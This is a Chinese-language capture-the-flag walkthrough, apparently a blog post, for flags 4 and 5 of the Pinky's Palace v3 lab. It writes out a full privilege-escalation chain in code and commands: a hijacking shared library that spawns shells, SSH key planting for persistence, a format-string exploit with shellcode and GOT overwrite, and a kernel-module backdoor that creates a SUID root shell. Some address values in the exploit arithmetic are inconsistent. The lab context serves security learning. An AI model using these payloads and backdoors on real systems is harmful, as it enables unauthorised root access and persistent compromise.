3、靶场——Pinkys-Place v3(3)

一、获取flag4

1.1 关于SUID提权

  SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。当s这个标志出现在文件所有者的X权限上时,如/usr/bin/passwd这个文件的权限状态:-rwsr-xr-x.,此时就被称为Set UID,简称SUID。

  简单来说:假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

搜索具备SUID权限的程序

	find / -user root -perm -4000 -print 2>/dev/null
	find / -perm -u=s -type f 2>/dev/null
	find / -user root -perm -4000 -exec ls -ldb {} ;

SUID-Find提权命令

find <文件> -exec whoami \; //文件必须存在

1.2 通过端口转发获取setuid文件

  发现了一个setuid文件pinkscd!注意:pinksecd文件的所有者是用户pinksecmanagement,用户pinksecmanagement对该文件具有读写和执行的权限,属于pinksecmanagement用户组的用户对该文件有读和执行的权限,其他用户只有执行的权限。

在这里插入图片描述

  使用socat进行文件传输

	socat -u open:pinksecd tcp-listen:7777,reuseaddr  // 靶机上运行,发送文件
	socat -u tcp:192.168.92.3:7777 open:pinksecd,create //kali上新建窗口,接收文件

-u:是指数据从左边单向传输到右边;
-U则是数据从右边单向传输到左边。
在这里插入图片描述

1.3 运行pinksecd文件

  查看pinksecd文件权限,该文件
在这里插入图片描述
  根据前面该文件是一个setuid文件,故修改文件权限,并运行。

	chmod +x pinksecd //赋予可执行权限
	./pinksecd //运行程序

在这里插入图片描述

发现缺少一个依赖库libpinksec.so

  使用ldd查看pinksecd的依赖库对应的文件:

	ldd pinksecd

在这里插入图片描述

libpinksec的路径是/lib/libpinksec.so

1.4 利用nm对文件进行分析

  nm是linux自带的特定文件分析工具,一般用来检查分析二进制文件、库文件、可执行文件中的符号表,返回二进制文件中各段的信息。命令:

	nm -g /lib/libpinksec.so

在这里插入图片描述

关于结果:

  • 左边的一串数字表示地址。如果是二进制文件,则表示逻辑地址,不是程序最后运行的地址。
  • 中间的字母代表当前条目位于程序哪一部分。T代表代码段数据。
  • 最后边代表对应的符号的内容。

  这里直接找_init,程序主要从这里开始运行。新建一个c文件,只要该文件中含有三个函数psbanner()、psopt()、psoptin()就可以制作payload了。

1.5 构建payload

  shell.c文件内容:

	#include <stdlib.h>
	int psbanner() {
		return system("/bin/sh");
	}
	int psopt() {
		return system("/bin/sh");
	}
	int psoptin() {
		return system("/bin/sh");
	}

在这里插入图片描述

编译:

	gcc -shared -o shell.o -fPIC shell.c

参数:

  • -shared代表创建动态链接库;
  • -fPIC则是生成位置无关代码,因为动态链接库可以被多个进程共享加载。
  • -o代表指定输出文件。

  关于gcc的相关信息,可以参考gcc编译命令详解及最佳实践

在这里插入图片描述

1.6 Fire

  使用payload替换/lib/libpibksec.socp shell.o /lib/libpinksec.so

在这里插入图片描述

对payload的个人理解:

  • 属于用户pinksecmanagment的文件pinksecd设置了SUID权限,用户pinksec在运行该文件的时候,将会以用户pinksecmanagment的身份去运行,也就是有效用户ID(EUID)是`pinksecmanagment。
  • 运行文件pinksecd的过程中,执行力system("/bin/sh")指令,相当于fork了一个shell,并且是以用户pinksecmanagment的身份新建的,也就是说可以进入用户pinksecmanagment的主目录/home/pinksecmanagment

知识补充:
(1)关于id命令:
id命令不含有任何参数,会报告当前用户的用户ID(uid)和用户名,所属的主要组ID(gid)和组名称、用户所有的属组(groups)和组名称。
在这里插入图片描述

(2)linux中UID,GID,EUID,EGID的快速理解

  • UID/GID指实际用户ID和实际组ID,即登录时的用户名,比如我是kali登陆,那么UID/GID 为kali/kali。
  • EUID/EGID指有效的用户ID和有效的组ID,它们指定了访问目标的权限。

例如:

  • 当前登录用户为my,welcome文件的ls -l 后的用户为my,组为mygroup,此时UID=my,GID=mygroup,EUID=my,EGID=mygroup。
  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,此时UID=my,GID=mygroup,EUID=other,EGID=othergroup。并且my用户无法访问other用户的文件。

总的来说,EUID表示的是文件所有者的用户ID,EGID表示文件所有者所属的组ID。

  如果一个文件被设置了SUID或SGID位,会分别表现在所有者或同组用户的权限的可执行位上。例如:

	-rwsr-xr-x 表示SUID和所有者权限中可执行位被设置
	-rwSr–-r-- 表示SUID被设置,但所有者权限中可执行位没有被设置
	-rwxr-sr-x 表示SGID和同组用户权限中可执行位被设置
	-rw-r-Sr-- 表示SGID被设置,但同组用户权限中可执行位没有被设置

  接着刚才的案例进行分析

  • 当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为rwsr-xr-x,那么该程序同样可以被执行,此时UID=my,GID=mygroup,EUID=other,EGID=mygroup。此时welcome程序有了other的权限,当然就可以访问apps了。
  • 同理,当前登录用户为my,welcome文件的ls -l 后的用户为other,组为othergroup,但是权限标志为-rwxr-sr-x,那么UID=my,GID=mygroup,EUID=my,EGID=othergroup,因为同组,当然就可以执行apps文件。

请参考:

  进入/home/pinksecmanagment拿到flag4!

在这里插入图片描述

二、获取flag5

在这里插入图片描述

  在刚刚提权的shell中使用backspace键,将会出现奇奇怪怪的符号,说明这个shell不稳定。根据之前的信息,靶场开了ssh服务,那么考虑免密方式登录靶机。

2.1 生成ssh公钥

  linux下,进入./.ssh目录(SSH密钥默认保存在该目录下),使用以下命令生成一对RSA公钥与密钥:

	ssh-keygen -t rsa
  • ssh-keygen语法:ssh-keygen [options]
  • -t表示要创建的密钥类型

在这里插入图片描述
在这里插入图片描述

  • id_rsa是私钥文件
  • id_rsa.pub是公钥文件

2.2 免密登录ssh

  下一步通过shell将kali的公钥写入靶机/home/pinksecmanagement/.ssh目录,文件命名为authorized_keys。这样做的目的是:公钥加密,私钥解密

免密登录原理:
在这里插入图片描述

  1. Client将自己的公钥存放在Server上,追加在文件authorized_keys中。
  2. Server端接收到Client的连接请求后,会在authorized_keys中匹配到Client的公钥pubkey,并生成随机数R,用Client的公钥对该随机数进行加密得到pubkey(R),然后将加密后信息发送给Client。
  3. Client端通过私钥进行解密得到随机数R,然后对随机数R和本次会话的SessionKey利用MD5生成摘要Digest1,发送给Server端。
  4. Server端会也会对R和SessionKey利用同样摘要算法生成Digest2。
  5. Server端会最后比较Digest1和Digest2是否相同,完成认证过程。

  进入/home/pinksecmanagement目录,mkdir .ssh新建.ssh文件夹,并进入。

在这里插入图片描述
  使用echo新建一个authorized_keys文件,将kali的公钥写入:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVhYclyR6Gr+wBz10uHSxlP6HjuklCuPuKpsKdU0Kg8+XHul3GeYWYuPmWldJfv29LXAEpMAXRgz3nzNcuJdyKciUT5rVOdAB6igaWcw9iz7IN1eEpm0vDVjpLSLHay8DIKJXYVd74Jpm4MtHpw5PsGcgDw2jnxE96XsD15vOANZu6ZSu8od7Clp+M+wVllSw0thRffIIoAhsT9jw+lS+DhnL6jw6Vq4Ud4+/lxtkJNJuiIixpuALMTu13VZl+0dLn3zBv9MqdR/f7a6ty1KepBpks/91yFLhgvIatXDLLoNacmSFfoibZbTEjbfGPnm1go8QdvbS9+nBBjGEC+iK2TQvMksrF1z1UXuWiWZaZfoR23jc6hhv9fpE8y3xGBblZPS20H03FbOpvDr4TA15QoFJbMZS0Yxg27Y4QXO/FVYr4yeeZk3dnTc0RQMPGl62H2zU17oBNrtgnGLY8tY97TG/6E2/rvI7b4NW9dBvH3PofxixK8CXNXdDSI0vFEfs= root@kali" > authorized_keys

在这里插入图片描述
在这里插入图片描述

成功免密登录!!!

ssh语法:ssh 用户名@ip地址 -p 端口

  • -i代表验证文件,就是私钥文件。
    在这里插入图片描述

2.3 以pinksecmanagement的身份进行信息收集

(1)搜索具备SUID权限的程序,常用命令如下:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {};
find / -user root -perm -4000 -print 2>/dev/null

补充知识:

  • find命令语法:find [path] [expression]
    • path为查找路径,.代表当前路径,/代表根目录;
    • expression为参数
    • -user root表示查找所有者为root的文件;
    • -perm -4000表示权限为SUID的文件。等价于命令-perm -u=s
    • -type f代表文件,d代表目录;
  • 2>/dev/null代表删除错误信息;
  • 使用find执行命令语法:find (路径,必须存在) -exec <command> \;(结束标志)。例如:find . -exec whoami \;
    在这里插入图片描述

当前目录下有几个文件就执行几次whoami命令。

  使用find / -perm -u=s -type f 2>/dev/null或者find / -perm -4000 -type f 2>/dev/null查找具有SUID属性的文件。

在这里插入图片描述

  特别注意/usr/local/bin/PSMCCLI文件,使用ls -al查看其文件属性。

在这里插入图片描述

发现/usr/local/bin/PSMCCLI文件属于pinksecmanagement用户组,且其文件所有者是用户pinky。也就是说用户pinky属于pinksecmanagement用户组,文件/usr/local/bin/PSMCCLI其实是属于用户pinky

2.4 测试程序/usr/local/bin/PSMCCLI

PSMCCLI程序功能:输入什么返回什么。
  可知,该文件存在格式化字符串漏洞。同时,使用file命令查看文件类型,该文件属于ELF文件。

在这里插入图片描述

  • 在linux中,经gcc编译后生成的可执行文件属于ELF文件;
  • ELF是一类文件类型,而不是特指某一后缀的文件。

  ELF(Executable and Linkable Format,可执行与可链接格式)文件格式,在Linux下主要有如下三种文件:

  • 可执行文件(.out):Executable File,包含代码和数据,是可以直接运行的程序。其代码和数据都有固定的地址 (或相对于基地址的偏移 ),系统可根据这些地址信息把程序加载到内存执行。
  • 可重定位文件(.o):Relocatable File,包含基础代码和数据,但它的代码及数据都没有指定绝对地址,因此它适合于与其他目标文件链接来创建可执行文件或者共享目标文件。
  • 共享目标文件(.so):Shared Object File,也称动态库文件,包含了代码和数据,这些数据是在链接时被链接器(ld)和运行时动态链接器(ld.so.l、libc.so.l、ld-linux.so.l)使用的。

2.6 利用格式化字符串漏洞提权

  • 目的:目前我们的用户身份是pinksecmanagement,而文件PSMCCLI的所有者是用户pinky,提权的目的就是将我们用户身份从pinksecmanagement变为用户pinky
  • 格式化字符串的利用原理:

(1)使用socat进行文件传输

socat -u open:/usr/local/bin/PSMCCLI tcp-listen:9999,reuseaddr  // 靶机,文件发送方
socat -u tcp:192.168.92.3:9999 open:PSMCCLI,create  //kali,文件接收方

在这里插入图片描述

(2)查看二进制程序启用的安全保护

  使用checksec检查文件是否被保护,发现并没有什么保护,同时RELRO位为partial relro,说明我们对GOT表具有写权限。

在这里插入图片描述

(3)攻击思路

格式化字符串允许两个基本的攻击向量:

  • 直接内存访问:使用%x格式化字符串和位置值,可以打印或访问堆栈中的任何内存位置;
  • 写入位置的能力:使用%n格式化字符串写入任何位置,%n将到当前输出的所有数据的长度写回一个变量中去。

攻击思路:用%x定位位置,在位置中%n植入shellcode,用%hn执行。

(4)选择shellcode

shellcode网站

在这里插入图片描述

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

将shell代码放在环境变量中,利用格式字符串漏洞,将程序流重定向到环境变量的地址即可!

(5)将shellcode写入环境变量

export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

在这里插入图片描述
在这里插入图片描述

可以看到变量SPAWN的值就是那段shellcode。

(6)定位环境变量SPAWN的位置

  使用以下脚本寻找变量SPAWN的位置:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

编译gcc addr.c -o addr

在这里插入图片描述
  前面已经将shellcode写入环境变量SPAWN中了,现在需要寻找在执行目标二进制文件时,SPAWN所在内存位置,也就是shellcode在内存中的位置。

./addr SPAWN /usr/local/bin/PSMCCLI

在这里插入图片描述

可知,在执行目标二进制文件时,SPAWN(shellcode)所在的地址为0xbffffe81

(7)定位写入putchar的指针位置

objdump -R /usr/local/bin/PSMCCLI

在这里插入图片描述

putchars的地址为0x0804a01c

  • shellcode地址:0xbffffe81
  • putchars函数的地址:0x0804a01c
  • 需要将shellcode的地址写入putchar的指针存放位置。

(8)确定Args位置

/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")

-x可以访问内存中的数据。如果内存数据中连续出现4142,就说明可写。

在这里插入图片描述

	/usr/local/bin/PSMCCLI AAAABBBBCCC%134\$0x%135\$0x

去找具体两块块区域可写。

在这里插入图片描述

(9)找前半段地址

  现在需要访问 putchar 指针的地址(要修改的地址),即 0x0804a01c!32 位架构中的内存为 4 字节(32 位)大小。然而将使用格式字符串漏洞每次只能写两字节。所以需要把地址分成两个字节:

  • 低位地址:0x0804a01c
  • 高位地址:0x0804a01e(初始地址+2)
	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0x

在这里插入图片描述
(10)找后半段地址
  只需把$x换成$n。构造payload:

	/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%134\$0x%135\$0n

在这里插入图片描述

(11)构造payload

  需要将值 0xbffffe7f(shellcode 地址),写入内存字节中,每个短字节(2个字节)最多只能容纳 0xffff,因此需要将值拆分为两个短字节。
shellcode 地址: 0xbffffe7f

  • 低位短字节地址: 0xfe7f = 65151
  • 高位短字节地址: 0xbfff = 49151

低二位0804a01c写入 fe80 - char_number(12) = 65142
高二位0804a01e (低二+2) 写入1bfff - fe80 = 49535[整数溢出原理 hn写入两字节,即0-65535]
小端序,低位放低地址

/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65142u%134\$0hn%49534u%135\$0hn

在这里插入图片描述
(11)同样免密登录
在这里插入图片描述
在这里插入图片描述

  sudo -l查看执行sudo命令的使用者的权限,这里发现了无需密码可以执行的俩个命令 insmod rmmod,这俩个命令是操作内核的,insmod 是加载一个内核模块,rmmod 是卸载一个内核模块
在这里插入图片描述
  这里的提权方式是制作一个内核来提升权限。对内核模块的编写,可以是反弹一个root的shell,或者对一个制作的文件增加s权限修改为root用户所有等等。

  这里我选择制作一个获取sh的文件,用内核模块对其进行修改为root用户。

内核模块,修改:https://github.com/PinkP4nther/Pinkit/blob/master/pinkit.c 的反弹shell内核模块为赋权。具体内容如下:

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/moduleparam.h>
#include <linux/stat.h>
 
#define ML      "GPL"
#define MA      "@Pink_P4nther"
#define MD      "An LKM Backdoor"
#define MV      "1.2"
 
static int __init mload(void)
{
        char *envp[] = {
                "HOME=/root",
                "TERM=xterm",
                NULL
        };
                         
        char *argv[] = {
                "/bin/bash",
                "-c",
                "chown root:root /tmp/shell;chmod 4777 /tmp/shell",
                NULL
                };
                                         
        printk(KERN_INFO "[+] Command Execution Begin\n");
        call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);
        printk(KERN_INFO "[+] Command Execution End\n");
        return 0;
}
 
static void __exit munload(void)
{
                        printk(KERN_INFO "[+] Happy Hacking!\n");
}
 
module_init(mload);
module_exit(munload);
 
MODULE_LICENSE(ML);
MODULE_AUTHOR(MA);
MODULE_DESCRIPTION(MD);
MODULE_VERSION(MV); 

shell文件编写

int main(void)
{
          setgid(0);
          setuid(0);
          execl("/bin/sh",0);
} 

Makefile文件

obj-m +=sroot.o
   
all:
                make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
                                 
clean:
                make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

  准备内容sroot.c内核模块shell.c获取shell的代码,Makefile编译内核模块的文件。
在这里插入图片描述

  使用make命令编译sroot.c,gcc命令编译shell.c,sudo insmod sroot.ko装载内核模块。且将shell放到/tmp/下。

在这里插入图片描述
  在/tmp目录下shell就变成了一个root权限的可执行的setuid程序!
在这里插入图片描述

三、总结

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值